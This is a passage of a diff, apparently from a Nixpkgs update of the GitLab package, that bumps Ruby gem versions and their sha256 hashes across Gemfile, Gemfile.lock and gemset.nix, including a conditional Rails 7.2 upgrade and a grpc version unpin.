 # See https://docs.gitlab.com/ee/development/gemfile.html#upgrade-rails for guidelines when upgrading Rails
 
-gem 'rails', '~> 7.1.5.1', feature_category: :shared
+if next?
+  gem 'rails', '~> 7.2.2.1', feature_category: :shared
+else
+  gem 'rails', '~> 7.1.5.1', feature_category: :shared
+end
 
 gem 'activerecord-gitlab', path: 'gems/activerecord-gitlab', feature_category: :shared
 # This can be dropped after upgrading to Rails 7.2: https://github.com/rails/rails/pull/49674
@@ -38,9 +42,9 @@ gem 'bootsnap', '~> 1.18.3', require: false, feature_category: :shared
 # Avoid the precompiled native gems because Omnibus needs to build this to ensure
 # LD_LIBRARY_PATH is correct: https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/7730
 if RUBY_PLATFORM.include?('darwin')
-  gem 'ffi', '~> 1.17', feature_category: :shared
+  gem 'ffi', '~> 1.17.2', feature_category: :shared
 else
-  gem 'ffi', '~> 1.17', force_ruby_platform: true, feature_category: :shared
+  gem 'ffi', '~> 1.17.2', force_ruby_platform: true, feature_category: :shared
 end
 
 gem 'openssl', '~> 3.0', feature_category: :shared
@@ -62,7 +66,7 @@ gem 'responders', '~> 3.0', feature_category: :shared
 gem 'sprockets', '~> 3.7.0', feature_category: :shared
 gem 'sprockets-rails', '~>  3.5.1', feature_category: :shared
 
-gem 'view_component', '~> 3.21.0', feature_category: :shared
+gem 'view_component', '~> 3.23.2', feature_category: :shared
 
 # Supported DBs
 gem 'pg', '~> 1.5.6', feature_category: :database
@@ -72,7 +76,7 @@ gem 'rugged', '~> 1.6', feature_category: :gitaly
 gem 'faraday', '~> 2', feature_category: :shared
 gem 'faraday-retry', '~> 2', feature_category: :shared
 # Logger is a dependency of Faraday, but Logger 1.6.0 does not work with Chef.
-gem 'logger', '~> 1.6.0', feature_category: :shared
+gem 'logger', '~> 1.7.0', feature_category: :shared
 
 gem 'marginalia', '~> 1.11.1', feature_category: :database
 
@@ -128,11 +132,11 @@ gem 'invisible_captcha', '~> 2.1.0', feature_category: :insider_threat
 gem 'devise-two-factor', '~> 4.1.1', feature_category: :system_access
 gem 'rqrcode', '~> 2.2', feature_category: :system_access
 
-gem 'attr_encrypted', '~> 3.2.4', path: 'vendor/gems/attr_encrypted', feature_category: :shared
+gem 'attr_encrypted', '~> 4.2', feature_category: :shared
 
 # GitLab Pages
 gem 'validates_hostname', '~> 1.0.13', feature_category: :pages
-gem 'rubyzip', '~> 2.3.2', require: 'zip', feature_category: :pages
+gem 'rubyzip', '~> 2.4.0', require: 'zip', feature_category: :pages
 # GitLab Pages letsencrypt support
 gem 'acme-client', '~> 2.0.19', feature_category: :pages
 
@@ -170,7 +174,7 @@ gem 'gitlab-topology-service-client', '~> 0.1',
   feature_category: :cell
 
 # Duo Workflow
-gem 'gitlab-duo-workflow-service-client', '~> 0.1',
+gem 'gitlab-duo-workflow-service-client', '~> 0.2',
   path: 'vendor/gems/gitlab-duo-workflow-service-client',
   feature_category: :duo_workflow
 
@@ -238,9 +242,9 @@ gem 'seed-fu', '~> 2.3.7', feature_category: :shared
 gem 'elasticsearch-model', '~> 7.2', feature_category: :global_search
 gem 'elasticsearch-rails', '~> 7.2', require: 'elasticsearch/rails/instrumentation', feature_category: :global_search
 gem 'elasticsearch-api', '7.17.11', feature_category: :global_search
-gem 'aws-sdk-core', '~> 3.223.0', feature_category: :global_search
+gem 'aws-sdk-core', '~> 3.225.0', feature_category: :global_search
 gem 'aws-sdk-cloudformation', '~> 1', feature_category: :global_search
-gem 'aws-sdk-s3', '~> 1.185.0', feature_category: :global_search
+gem 'aws-sdk-s3', '~> 1.189.0', feature_category: :global_search
 gem 'faraday-typhoeus', '~> 1.1', feature_category: :global_search
 gem 'faraday_middleware-aws-sigv4', '~> 1.0.1', feature_category: :global_search
 # Used with Elasticsearch to support http keep-alive connections
@@ -266,7 +270,7 @@ gem 'asciidoctor-kroki', '~> 0.10.0', require: false, feature_category: :markdow
 gem 'rouge', '~> 4.5.0', feature_category: :shared
 gem 'truncato', '~> 0.7.13', feature_category: :team_planning
 gem 'nokogiri', '~> 1.18', feature_category: :shared
-gem 'gitlab-glfm-markdown', '~> 0.0.30', feature_category: :markdown
+gem 'gitlab-glfm-markdown', '~> 0.0.31', feature_category: :markdown
 gem 'tanuki_emoji', '~> 0.13', feature_category: :markdown
 gem 'unicode-emoji', '~> 4.0', feature_category: :markdown
 
@@ -283,7 +287,7 @@ gem 'rack', '~> 2.2.9', feature_category: :shared
 gem 'rack-timeout', '~> 0.7.0', require: 'rack/timeout/base', feature_category: :shared
 
 group :puma do
-  gem 'puma', '= 6.5.0', require: false, feature_category: :shared
+  gem 'puma', '= 6.6.0', require: false, feature_category: :shared
   gem 'sd_notify', '~> 0.1.0', require: false, feature_category: :shared
 end
 
@@ -302,7 +306,7 @@ gem 'gitlab-sidekiq-fetcher',
 gem 'fugit', '~> 1.11.1', feature_category: :continuous_integration
 
 # HTTP requests
-gem 'httparty', '~> 0.22.0', feature_category: :shared
+gem 'httparty', '~> 0.23.0', feature_category: :shared
 
 # Colored output to console
 gem 'rainbow', '~> 3.0', feature_category: :shared
@@ -328,7 +332,7 @@ gem 'device_detector', feature_category: :shared
 # Redis
 gem 'redis', '~> 5.4.0', feature_category: :redis
 gem 'redis-clustering', '~> 5.4.0', feature_category: :redis
-gem 'connection_pool', '~> 2.4', feature_category: :shared
+gem 'connection_pool', '~> 2.5.3', feature_category: :shared
 
 # Redis session store
 gem 'redis-actionpack', '~> 5.5.0', feature_category: :redis
@@ -347,7 +351,7 @@ gem 'ruby-fogbugz', '~> 0.3.0', feature_category: :importers
 gem 'kubeclient', '~> 4.11.0', feature_category: :shared
 
 # AI
-gem 'circuitbox', '2.0.0', feature_category: :ai_abstraction_layer
+gem 'circuitbox', '2.0.0', feature_category: :shared
 
 # Sanitize user input
 gem 'sanitize', '~> 6.0.2', feature_category: :shared
@@ -431,7 +435,7 @@ gem 'prometheus-client-mmap', '~> 1.2.9', require: 'prometheus/client', feature_
 
 # Event-driven reactor for Ruby
 # Required manually in config/initializers/require_async_gem
-gem 'async', '~> 2.23.0', require: false, feature_category: :shared
+gem 'async', '~> 2.24.0', require: false, feature_category: :shared
 
 # Security report schemas used to validate CI job artifacts of security jobs
 gem 'gitlab-security_report_schemas', '0.1.2.min15.0.0.max15.2.1', feature_category: :vulnerability_management
@@ -501,7 +505,7 @@ end
 
 group :development, :test do
   gem 'deprecation_toolkit', '~> 2.2.3', require: false, feature_category: :shared
-  gem 'bullet', '~> 7.2.0', feature_category: :shared
+  gem 'bullet', '~> 8.0.0', feature_category: :shared
   gem 'parser', '= 3.3.8.0', feature_category: :shared
   gem 'pry-byebug', feature_category: :shared
   gem 'pry-rails', '~> 0.3.9', feature_category: :shared
@@ -510,7 +514,7 @@ group :development, :test do
   gem 'awesome_print', require: false, feature_category: :shared
 
   gem 'database_cleaner-active_record', '~> 2.2.0', feature_category: :database
-  gem 'rspec-rails', '~> 7.0.0', feature_category: :shared
+  gem 'rspec-rails', '~> 7.1.0', feature_category: :shared
   gem 'factory_bot_rails', '~> 6.4.3', feature_category: :tooling
 
   # Prevent occasions where minitest is not bundled in packaged versions of ruby (see #3826)
@@ -530,7 +534,7 @@ group :development, :test do
   gem 'influxdb-client', '~> 3.1', require: false, feature_category: :tooling
 
   gem 'knapsack', '~> 4.0.0', feature_category: :tooling
-  gem 'gitlab-crystalball', '~> 0.7.2', require: false, feature_category: :tooling
+  gem 'gitlab-crystalball', '~> 1.1.0', require: false, feature_category: :tooling
   gem 'test_file_finder', '~> 0.3.1', feature_category: :tooling
 
   gem 'simple_po_parser', '~> 1.1.6', require: false, feature_category: :shared
@@ -639,16 +643,12 @@ gem 'ssh_data', '~> 1.3', feature_category: :shared
 gem 'spamcheck', '~> 1.3.0', feature_category: :insider_threat
 
 # Gitaly GRPC protocol definitions
-gem 'gitaly', '~> 17.8.0', feature_category: :gitaly
+gem 'gitaly', '~> 18.1.0.pre.rc1', feature_category: :gitaly
 
 # KAS GRPC protocol definitions
 gem 'gitlab-kas-grpc', '~> 17.11.0', feature_category: :deployment_management
 
-# Lock the version before issues below are resolved:
-# https://gitlab.com/gitlab-org/gitlab/-/issues/473169#note_2028352939
-# Or we can upgrade to a more recent version as long as we can confirm
-# that it doesn't have the same issues.
-gem 'grpc', '= 1.63.0', feature_category: :shared
+gem 'grpc', '~> 1.72.0', feature_category: :shared
 
 gem 'google-protobuf', '~> 3.25', '>= 3.25.3', feature_category: :shared
 
@@ -756,4 +756,4 @@ gem 'paper_trail', '~> 16.0', feature_category: :shared
 
 gem "i18n_data", "~> 0.13.1", feature_category: :system_access
 
-gem "gitlab-cloud-connector", "~> 1.11", require: 'gitlab/cloud_connector', feature_category: :cloud_connector
+gem "gitlab-cloud-connector", "~> 1.14", require: 'gitlab/cloud_connector', feature_category: :cloud_connector
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
index bfb3ebad0845..637c16927096 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
@@ -48,7 +48,7 @@ PATH
       google-cloud-storage_transfer (~> 1.2.0)
       google-protobuf (~> 3.25, >= 3.25.3)
       googleauth (~> 1.8.1)
-      grpc (= 1.63.0)
+      grpc (~> 1.72.0)
       json (~> 2.7)
       jwt (~> 2.5)
       logger (~> 1.5)
@@ -126,12 +126,6 @@ PATH
       diffy (~> 3.4)
       oj (~> 3.16, >= 3.16.10)
 
-PATH
-  remote: vendor/gems/attr_encrypted
-  specs:
-    attr_encrypted (3.2.4)
-      encryptor (~> 3.0.0)
-
 PATH
   remote: vendor/gems/bundler-checksum
   specs:
@@ -162,7 +156,7 @@ PATH
 PATH
   remote: vendor/gems/gitlab-duo-workflow-service-client
   specs:
-    gitlab-duo-workflow-service-client (0.1)
+    gitlab-duo-workflow-service-client (0.2)
       grpc
 
 PATH
@@ -334,7 +328,7 @@ GEM
     asciidoctor-plantuml (0.0.16)
       asciidoctor (>= 2.0.17, < 3.0.0)
     ast (2.4.2)
-    async (2.23.1)
+    async (2.24.0)
       console (~> 1.29)
       fiber-annotation
       io-event (~> 1.9)
@@ -342,15 +336,17 @@ GEM
       traces (~> 0.15)
     atlassian-jwt (0.2.1)
       jwt (~> 2.1)
+    attr_encrypted (4.2.0)
+      encryptor (~> 3.0.0)
     attr_required (1.0.2)
     awesome_print (1.9.2)
     awrence (1.2.1)
     aws-eventstream (1.3.0)
     aws-partitions (1.1001.0)
-    aws-sdk-cloudformation (1.41.0)
-      aws-sdk-core (~> 3, >= 3.99.0)
-      aws-sigv4 (~> 1.1)
-    aws-sdk-core (3.223.0)
+    aws-sdk-cloudformation (1.131.0)
+      aws-sdk-core (~> 3, >= 3.216.0)
+      aws-sigv4 (~> 1.5)
+    aws-sdk-core (3.225.0)
       aws-eventstream (~> 1, >= 1.3.0)
       aws-partitions (~> 1, >= 1.992.0)
       aws-sigv4 (~> 1.9)
@@ -360,8 +356,8 @@ GEM
     aws-sdk-kms (1.76.0)
       aws-sdk-core (~> 3, >= 3.188.0)
       aws-sigv4 (~> 1.1)
-    aws-sdk-s3 (1.185.0)
-      aws-sdk-core (~> 3, >= 3.216.0)
+    aws-sdk-s3 (1.189.0)
+      aws-sdk-core (~> 3, >= 3.225.0)
       aws-sdk-kms (~> 1)
       aws-sigv4 (~> 1.5)
     aws-sigv4 (1.9.1)
@@ -400,11 +396,11 @@ GEM
     bindata (2.4.11)
     binding_of_caller (1.0.0)
       debug_inspector (>= 0.0.1)
-    bootsnap (1.18.4)
+    bootsnap (1.18.6)
       msgpack (~> 1.2)
     browser (5.3.1)
     builder (3.2.4)
-    bullet (7.2.0)
+    bullet (8.0.8)
       activesupport (>= 3.0.0)
       uniform_notifier (~> 1.11)
     byebug (12.0.0)
@@ -527,7 +523,7 @@ GEM
     descendants_tracker (0.0.4)
       thread_safe (~> 0.3, >= 0.3.1)
     devfile (0.4.4)
-    device_detector (1.0.0)
+    device_detector (1.1.3)
     devise (4.9.4)
       bcrypt (~> 3.0)
       orm_adapter (~> 0.1)
@@ -541,7 +537,7 @@ GEM
       railties (~> 7.0)
       rotp (~> 6.0)
     diff-lcs (1.5.0)
-    diffy (3.4.3)
+    diffy (3.4.4)
     digest-crc (0.6.5)
       rake (>= 12.0.0, < 14.0.0)
     docile (1.4.0)
@@ -615,7 +611,7 @@ GEM
     factory_bot_rails (6.4.4)
       factory_bot (~> 6.5)
       railties (>= 5.0.0)
-    faraday (2.12.2)
+    faraday (2.13.1)
       faraday-net_http (>= 2.0, < 3.5)
       json
       logger
@@ -731,19 +727,20 @@ GEM
     git (1.19.1)
       addressable (~> 2.8)
       rchardet (~> 1.8)
-    gitaly (17.8.4)
+    gitaly (18.1.0.pre.rc1)
       grpc (~> 1.0)
     gitlab (4.19.0)
       httparty (~> 0.20)
       terminal-table (>= 1.5.1)
     gitlab-chronic (0.10.6)
       numerizer (~> 0.2)
-    gitlab-cloud-connector (1.12.0)
+    gitlab-cloud-connector (1.17.0)
       activesupport (~> 7.0)
       jwt (~> 2.9.3)
-    gitlab-crystalball (0.7.2)
+    gitlab-crystalball (1.1.0)
       git (< 4)
-    gitlab-dangerfiles (4.9.1)
+      ostruct (< 1)
+    gitlab-dangerfiles (4.9.2)
       danger (>= 9.3.0)
       danger-gitlab (>= 8.0.0)
       rake (~> 13.0)
@@ -759,9 +756,9 @@ GEM
       mime-types
       net-http-persistent (~> 4.0)
       nokogiri (~> 1, >= 1.10.8)
-    gitlab-glfm-markdown (0.0.30)
+    gitlab-glfm-markdown (0.0.31)
       rb_sys (~> 0.9.109)
-    gitlab-kas-grpc (17.11.2)
+    gitlab-kas-grpc (17.11.3)
       grpc (~> 1.0)
     gitlab-labkit (0.37.0)
       actionpack (>= 5.0.0, < 8.1.0)
@@ -785,8 +782,8 @@ GEM
       activesupport (>= 5.2.0)
       rake (~> 13.0)
       snowplow-tracker (~> 0.8.0)
-    gitlab-secret_detection (0.26.1)
-      grpc (~> 1.63.0)
+    gitlab-secret_detection (0.29.1)
+      grpc (>= 1.63.0, < 2)
       grpc_reflection (~> 0.1)
       parallel (~> 1)
       re2 (~> 2.7)
@@ -907,12 +904,12 @@ GEM
     google-cloud-storage_transfer-v1 (0.8.0)
       gapic-common (>= 0.20.0, < 2.a)
       google-cloud-errors (~> 1.0)
-    google-protobuf (3.25.7)
+    google-protobuf (3.25.8)
     googleapis-common-protos (1.4.0)
       google-protobuf (~> 3.14)
       googleapis-common-protos-types (~> 1.2)
       grpc (~> 1.27)
-    googleapis-common-protos-types (1.19.0)
+    googleapis-common-protos-types (1.20.0)
       google-protobuf (>= 3.18, < 5.a)
     googleauth (1.8.1)
       faraday (>= 0.17.3, < 3.a)
@@ -959,8 +956,8 @@ GEM
       graphql (~> 2.0)
       html-pipeline (~> 2.14, >= 2.14.3)
       sass-embedded (~> 1.58)
-    grpc (1.63.0)
-      google-protobuf (~> 3.25)
+    grpc (1.72.0)
+      google-protobuf (>= 3.25, < 5.0)
       googleapis-common-protos-types (~> 1.0)
     grpc-google-iam-v1 (1.5.0)
       google-protobuf (~> 3.18)
@@ -1020,7 +1017,7 @@ GEM
     http-cookie (1.0.5)
       domain_name (~> 0.5)
     http-form_data (2.3.0)
-    httparty (0.22.0)
+    httparty (0.23.1)
       csv
       mini_mime (>= 1.0.0)
       multi_xml (>= 0.5.2)
@@ -1049,7 +1046,7 @@ GEM
     jaeger-client (1.1.0)
       opentracing (~> 0.3)
       thrift
-    jaro_winkler (1.6.0)
+    jaro_winkler (1.6.1)
     jira-ruby (2.3.0)
       activesupport
       atlassian-jwt
@@ -1107,7 +1104,7 @@ GEM
     language_server-protocol (3.17.0.3)
     launchy (2.5.2)
       addressable (~> 2.8)
-    lefthook (1.11.5)
+    lefthook (1.11.13)
     letter_opener (1.10.0)
       launchy (>= 2.2, < 4)
     letter_opener_web (3.0.0)
@@ -1138,13 +1135,13 @@ GEM
       rake (~> 13.0)
     locale (2.1.4)
     lockbox (1.3.0)
-    logger (1.6.6)
+    logger (1.7.0)
     lograge (0.11.2)
       actionpack (>= 4)
       activesupport (>= 4)
       railties (>= 4)
       request_store (~> 1.0)
-    loofah (2.24.0)
+    loofah (2.24.1)
       crass (~> 1.0.2)
       nokogiri (>= 1.12.0)
     lookbook (2.3.4)
@@ -1232,13 +1229,14 @@ GEM
       shellany (~> 0.0)
     numerizer (0.2.0)
     oauth (0.5.6)
-    oauth2 (2.0.9)
-      faraday (>= 0.17.3, < 3.0)
-      jwt (>= 1.0, < 3.0)
+    oauth2 (2.0.10)
+      faraday (>= 0.17.3, < 4.0)
+      jwt (>= 1.0, < 4.0)
+      logger (~> 1.2)
       multi_xml (~> 0.5)
       rack (>= 1.2, < 4)
       snaky_hash (~> 2.0)
-      version_gem (~> 1.1)
+      version_gem (>= 1.1.8, < 3)
     observer (0.1.2)
     octokit (9.2.0)
       faraday (>= 1, < 3)
@@ -1256,7 +1254,7 @@ GEM
       plist (~> 3.1)
       train-core
       wmi-lite (~> 1.0)
-    oj (3.16.10)
+    oj (3.16.11)
       bigdecimal (>= 3.0)
       ostruct (>= 0.2)
     oj-introspect (0.8.0)
@@ -1449,7 +1447,7 @@ GEM
     paper_trail (16.0.0)
       activerecord (>= 6.1)
       request_store (~> 1.4)
-    parallel (1.26.3)
+    parallel (1.27.0)
     parser (3.3.8.0)
       ast (~> 2.4.1)
       racc
@@ -1492,7 +1490,7 @@ GEM
       coderay
       parser
       unparser
-    prometheus-client-mmap (1.2.9)
+    prometheus-client-mmap (1.2.10)
       base64
       bigdecimal
       logger
@@ -1513,7 +1511,7 @@ GEM
       date
       stringio
     public_suffix (6.0.1)
-    puma (6.5.0)
+    puma (6.6.0)
       nio4r (~> 2.0)
     pyu-ruby-sasl (0.0.3.3)
     raabro (1.4.0)
@@ -1647,7 +1645,7 @@ GEM
     rexml (3.4.1)
     rinku (2.0.0)
     rotp (6.3.0)
-    rouge (4.5.1)
+    rouge (4.5.2)
     rqrcode (2.2.0)
       chunky_png (~> 1.0)
       rqrcode_core (~> 1.0)
@@ -1680,7 +1678,7 @@ GEM
     rspec-parameterized-table_syntax (1.0.0)
       binding_of_caller
       rspec-parameterized-core (< 2)
-    rspec-rails (7.0.1)
+    rspec-rails (7.1.1)
       actionpack (>= 7.0)
       activesupport (>= 7.0)
       railties (>= 7.0)
@@ -1731,15 +1729,15 @@ GEM
     ruby-fogbugz (0.3.0)
       crack (~> 0.4)
       multipart-post (~> 2.0)
-    ruby-lsp (0.23.15)
+    ruby-lsp (0.23.20)
       language_server-protocol (~> 3.17.0)
       prism (>= 1.2, < 2.0)
       rbs (>= 3, < 4)
       sorbet-runtime (>= 0.5.10782)
     ruby-lsp-rails (0.3.31)
       ruby-lsp (>= 0.23.0, < 0.24.0)
-    ruby-lsp-rspec (0.1.22)
-      ruby-lsp (~> 0.23.0)
+    ruby-lsp-rspec (0.1.23)
+      ruby-lsp (~> 0.23.19)
     ruby-magic (0.6.0)
       mini_portile2 (~> 2.8)
     ruby-progressbar (1.11.0)
@@ -1750,7 +1748,7 @@ GEM
     ruby2_keywords (0.0.5)
     rubyntlm (0.6.3)
     rubypants (0.2.0)
-    rubyzip (2.3.2)
+    rubyzip (2.4.1)
     rugged (1.6.3)
     safe_yaml (1.0.4)
     safety_net_attestation (0.4.0)
@@ -1769,7 +1767,7 @@ GEM
     seed-fu (2.3.9)
       activerecord (>= 3.1)
       activesupport (>= 3.1)
-    selenium-webdriver (4.27.0)
+    selenium-webdriver (4.32.0)
       base64 (~> 0.2)
       logger (~> 1.4)
       rexml (~> 3.2, >= 3.2.5)
@@ -1828,12 +1826,12 @@ GEM
       hashie
       version_gem (~> 1.1)
     snowplow-tracker (0.8.0)
-    solargraph (0.54.2)
+    solargraph (0.54.4)
       backport (~> 1.2)
       benchmark (~> 0.4)
       bundler (~> 2.0)
       diff-lcs (~> 1.4)
-      jaro_winkler (~> 1.6)
+      jaro_winkler (~> 1.6, >= 1.6.1)
       kramdown (~> 2.3)
       kramdown-parser-gfm (~> 1.1)
       logger (~> 1.6)
@@ -1991,11 +1989,11 @@ GEM
     validates_hostname (1.0.13)
       activerecord (>= 3.0)
       activesupport (>= 3.0)
-    version_gem (1.1.0)
+    version_gem (1.1.8)
     version_sorter (2.3.0)
-    view_component (3.21.0)
+    view_component (3.23.2)
       activesupport (>= 5.2.0, < 8.1)
-      concurrent-ruby (~> 1.0)
+      concurrent-ruby (~> 1)
       method_source (~> 1.0)
     virtus (2.0.0)
       axiom-types (~> 0.1)
@@ -2027,7 +2025,7 @@ GEM
       activesupport
       faraday (~> 2.0)
       faraday-follow_redirects
-    webmock (3.25.0)
+    webmock (3.25.1)
       addressable (>= 2.8.0)
       crack (>= 0.3.2)
       hashdiff (>= 0.4.0, < 2.0.0)
@@ -2071,13 +2069,13 @@ DEPENDENCIES
   asciidoctor-include-ext (~> 0.4.0)
   asciidoctor-kroki (~> 0.10.0)
   asciidoctor-plantuml (~> 0.0.16)
-  async (~> 2.23.0)
+  async (~> 2.24.0)
   atlassian-jwt (~> 0.2.1)
-  attr_encrypted (~> 3.2.4)!
+  attr_encrypted (~> 4.2)
   awesome_print
   aws-sdk-cloudformation (~> 1)
-  aws-sdk-core (~> 3.223.0)
-  aws-sdk-s3 (~> 1.185.0)
+  aws-sdk-core (~> 3.225.0)
+  aws-sdk-s3 (~> 1.189.0)
   axe-core-rspec (~> 4.10.0)
   babosa (~> 2.0)
   base32 (~> 0.3.0)
@@ -2088,7 +2086,7 @@ DEPENDENCIES
   better_errors (~> 2.10.1)
   bootsnap (~> 1.18.3)
   browser (~> 5.3.1)
-  bullet (~> 7.2.0)
+  bullet (~> 8.0.0)
   bundler-checksum (~> 0.1.0)!
   capybara (~> 3.40)
   capybara-screenshot (~> 1.0.26)
@@ -2099,7 +2097,7 @@ DEPENDENCIES
   cloud_profiler_agent (~> 0.0.0)!
   commonmarker (~> 0.23.10)
   concurrent-ruby (~> 1.1)
-  connection_pool (~> 2.4)
+  connection_pool (~> 2.5.3)
   countries (~> 4.0.0)
   coverband (= 6.1.5)
   creole (~> 0.5.0)
@@ -2138,7 +2136,7 @@ DEPENDENCIES
   faraday_middleware-aws-sigv4 (~> 1.0.1)
   fast_blank (~> 1.0.1)
   ffaker (~> 2.24)
-  ffi (~> 1.17)
+  ffi (~> 1.17.2)
   flipper (~> 0.28.0)
   flipper-active_record (~> 0.28.0)
   flipper-active_support_cache_store (~> 0.28.0)
@@ -2152,17 +2150,17 @@ DEPENDENCIES
   gettext (~> 3.5, >= 3.5.1)
   gettext_i18n_rails (~> 1.13.0)
   git (~> 1.8)
-  gitaly (~> 17.8.0)
+  gitaly (~> 18.1.0.pre.rc1)
   gitlab-active-context!
   gitlab-backup-cli!
   gitlab-chronic (~> 0.10.5)
-  gitlab-cloud-connector (~> 1.11)
-  gitlab-crystalball (~> 0.7.2)
+  gitlab-cloud-connector (~> 1.14)
+  gitlab-crystalball (~> 1.1.0)
   gitlab-dangerfiles (~> 4.9.0)
-  gitlab-duo-workflow-service-client (~> 0.1)!
+  gitlab-duo-workflow-service-client (~> 0.2)!
   gitlab-experiment (~> 0.9.1)
   gitlab-fog-azure-rm (~> 2.2.0)
-  gitlab-glfm-markdown (~> 0.0.30)
+  gitlab-glfm-markdown (~> 0.0.31)
   gitlab-housekeeper!
   gitlab-http!
   gitlab-kas-grpc (~> 17.11.0)
@@ -2212,7 +2210,7 @@ DEPENDENCIES
   graphlyte (~> 1.0.0)
   graphql (= 2.4.13)
   graphql-docs (~> 5.0.0)
-  grpc (= 1.63.0)
+  grpc (~> 1.72.0)
   gssapi (~> 1.3.1)
   guard-rspec
   haml_lint (~> 0.58)
@@ -2221,7 +2219,7 @@ DEPENDENCIES
   health_check (~> 3.0)
   html-pipeline (~> 2.14.3)
   html2text
-  httparty (~> 0.22.0)
+  httparty (~> 0.23.0)
   i18n_data (~> 0.13.1)
   icalendar (~> 2.10.1)
   influxdb-client (~> 3.1)
@@ -2244,7 +2242,7 @@ DEPENDENCIES
   licensee (~> 9.16)
   listen (~> 3.7)
   lockbox (~> 1.3.0)
-  logger (~> 1.6.0)
+  logger (~> 1.7.0)
   lograge (~> 0.5)
   loofah (~> 2.24.0)
   lookbook (~> 2.3)
@@ -2326,7 +2324,7 @@ DEPENDENCIES
   pry-byebug
   pry-rails (~> 0.3.9)
   pry-shell (~> 0.6.4)
-  puma (= 6.5.0)
+  puma (= 6.6.0)
   rack (~> 2.2.9)
   rack-attack (~> 6.7.0)
   rack-cors (~> 2.0.1)
@@ -2351,7 +2349,7 @@ DEPENDENCIES
   rqrcode (~> 2.2)
   rspec-benchmark (~> 0.6.0)
   rspec-parameterized (~> 1.0, >= 1.0.2)
-  rspec-rails (~> 7.0.0)
+  rspec-rails (~> 7.1.0)
   rspec-retry (~> 0.6.2)
   rspec_junit_formatter
   rspec_profiling (~> 0.0.9)
@@ -2363,7 +2361,7 @@ DEPENDENCIES
   ruby-magic (~> 0.6)
   ruby-progressbar (~> 1.10)
   ruby-saml (~> 1.18)
-  rubyzip (~> 2.3.2)
+  rubyzip (~> 2.4.0)
   rugged (~> 1.6)
   sanitize (~> 6.0.2)
   sd_notify (~> 0.1.0)
@@ -2414,7 +2412,7 @@ DEPENDENCIES
   valid_email (~> 0.1)
   validates_hostname (~> 1.0.13)
   version_sorter (~> 2.3)
-  view_component (~> 3.21.0)
+  view_component (~> 3.23.2)
   vite_rails (~> 3.0.17)
   vite_ruby (~> 3.9.0)
   vmstat (~> 2.3.0)
@@ -2427,4 +2425,4 @@ DEPENDENCIES
   yard (~> 0.9)
 
 BUNDLED WITH
-   2.6.6
+   2.6.9
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix b/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
index 4e033992dc9f..33afdf2cb5d1 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
@@ -468,10 +468,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "01jh5b1wh9gvgrkl2bgc93pimc0ncjbi5vsadgxxp9a8d4s9fb31";
+      sha256 = "0xs3qdlm8fj6zksqp5daamc51azwgbrp3b6mbqcxl22qdnn137aq";
       type = "gem";
     };
-    version = "2.23.1";
+    version = "2.24.0";
   };
   atlassian-jwt = {
     dependencies = [ "jwt" ];
@@ -489,10 +489,11 @@ src: {
     groups = [ "default" ];
     platforms = [ ];
     source = {
-      path = "${src}/vendor/gems/attr_encrypted";
-      type = "path";
+      remotes = [ "https://rubygems.org" ];
+      sha256 = "0lddh6dznfvpic6c9pbb6wgzwd3jyp26abjfvi0fsf3fkqaq0p3y";
+      type = "gem";
     };
-    version = "3.2.4";
+    version = "4.2.0";
   };
   attr_required = {
     groups = [ "default" ];
@@ -556,10 +557,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "09kb3k5vpymg846gajc5d3wznww63yiv3ygdf4v42d4pf4wpbr1i";
+      sha256 = "1bkkx0sz1lkqhzkrpklnalpv2dshvrdi12yq47xmv0nflhgzysmp";
       type = "gem";
     };
-    version = "1.41.0";
+    version = "1.131.0";
   };
   aws-sdk-core = {
     dependencies = [
@@ -574,10 +575,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0xwcimg5i93ansmmww7ap8k6xxyijkxa8p896bxj9kc7cw8hkhyq";
+      sha256 = "1kafaaa9a2yh2cia6s2bn3m5jmya43l239j2ncbsndcq925xhjkw";
       type = "gem";
     };
-    version = "3.223.0";
+    version = "3.225.0";
   };
   aws-sdk-kms = {
     dependencies = [
@@ -603,10 +604,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1ix5g1qnp7m0f8jk0bx0b5csx8p7zrxhnvkqc7jsyp9a3c4vnpky";
+      sha256 = "0x3ylssjaq9bvsgs89l601x1fywxzi80dc1xc8zgvzigsyk2yqia";
       type = "gem";
     };
-    version = "1.185.0";
+    version = "1.189.0";
   };
   aws-sigv4 = {
     dependencies = [ "aws-eventstream" ];
@@ -873,10 +874,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0mdgj9yw1hmx3xh2qxyjc31y8igmxzd9h0c245ay2zkz76pl4k5c";
+      sha256 = "003xl226y120cbq1n99805jw6w75gcz1gs941yz3h7li3qy3kqha";
       type = "gem";
     };
-    version = "1.18.4";
+    version = "1.18.6";
   };
   browser = {
     groups = [ "default" ];
@@ -914,10 +915,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "12gacycw1adsdjp14pm43619c6lcdaddhgbdizy7gnzmnjhwh0im";
+      sha256 = "0hn5nysivwlzwgwgh3m97kzjgfy8g7nl82b2pahdj0xqnrg91fdl";
       type = "gem";
     };
-    version = "7.2.0";
+    version = "8.0.8";
   };
   bundler-checksum = {
     dependencies = [ ];
@@ -1636,10 +1637,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0zbsjj1bgwmsiqiw6x5fzbzp25xc10c02s37ggl2635ha0qzn05q";
+      sha256 = "0ycwbakxxir8dwh2fwg47hvi05dvp1s20fqr3yh8lbmb5kj3zzn5";
       type = "gem";
     };
-    version = "1.0.0";
+    version = "1.1.3";
   };
   devise = {
     dependencies = [
@@ -1716,10 +1717,10 @@ src: {
